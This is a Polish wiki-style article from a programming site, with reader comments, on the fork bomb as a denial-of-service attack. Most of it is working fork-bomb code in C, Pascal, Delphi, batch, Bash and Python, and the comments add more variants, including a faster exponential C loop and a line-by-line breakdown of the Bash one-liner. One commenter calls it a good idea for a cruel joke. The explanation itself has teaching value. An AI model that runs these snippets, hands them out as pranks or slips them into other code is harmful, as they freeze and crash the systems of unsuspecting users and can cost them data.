Fork-bomba

Artykuł napisany na podstawie artykułu z Wikipedii.

Fork-bomba jest formą ataku DoS. Polega na ciągłym uruchamianiu procesu potomnego bez warunku jego zakończenia. Efektem takiego działania jest kompletne sparaliżowanie systemu, ponieważ nie ma miejsca na żaden inny proces - nie da się więc tego nawet zamknąć. Efektem jest konieczność restartu systemu (czasami nawet następuje ono samo, na przykład w SBS-ie).

Fork-bomba może zostać napisana w wielu różnych językach. Oto kilka przykładów:

C
#include <unistd.h>

int main(void)
{
  while(1)
    fork();
  return 0;
}


Pascal
repeat
  Exec (GetEnv ('COMSPEC'),'/C call '+ParamStr (0));
 until false;


Delphi
  repeat
   WinExec (PAnsiChar (ParamStr (0)),SW_SHOWNORMAL);
  until false;


Pliki wsadowe (BAT)
:a
 start %0
goto a


Bash
:(){ :|:& };:


Python
from subprocess import Popen
import sys

while True:
    Popen(sys.argv)
Informacje
Ostatnia modyfikacja 04-10-2008 13:21 Ostatni autor Marooned
Ilość wyświetleń 2633 Wersja 5
Komentarz
no_solution_found dnia 10-07-2007 12:22
dobry pomysł na okrutny żart >:-)
Blackmaul dnia 25-04-2007 12:00
Dzięki ci sołmacz. ;)
Dryobates dnia 23-04-2007 22:47
from subprocess import Popen
import sys

while True:
    Popen(sys.argv)
Blackmaul dnia 22-04-2007 15:24
Jak by to wyglądało w Pythonie? =p
Ktos dnia 21-04-2007 13:33
Tworzenie funkcji bezparametrowej o nazwie : (:() {...}).
Kod wewnątrz funkcji rekursywnie wywołuje funkcję i przekierowuje wynik do innego wywołania siebie samej (:|:), a & wrzuca go do tła, żeby nie zabijać procesów rodziców. I to daje jeszcze wykładniczy wzrost ilości procesów :-)
; to zakończenie definicji funkcji, a ostatni : ustawia pułapkę uruchamiajac funkcję po raz pierwszy.

Notabene DOS 6.22 dzięki braku wielowątkowości jest odporny na ten atak, sprawdzałem, da się przerwać spokojnie ;)
Marooned dnia 21-04-2007 11:49
Postęp geometryczny szybszy od liniowego ;-)
while(fork()) fork();
ewentualnie co by mieć pewność, że warunek zawsze będzie prawdziwy [nie pamiętam co zwraca fork()]
while((fork(),1)) fork();


A plik wsadowy w Twoim przykładzie wymaga Windows i programu start - a po co, jak jest polecenie wewnętrzne CALL?
:a
call %0
goto a


Ktos - może słowo wyjaśnienia dla nieobcykanych z bashem? :]
Ktos dnia 21-04-2007 10:22
Ja osobiście wolę wersję bashową:
:(){ :|:& };:


Bo wygląda dziwnie :)

Katalog
Copyright © 2000-2006 by Coyote Group 0.9.3-pre3
Czas generowania strony: 0.0319 sek. (zapytań SQL: 9)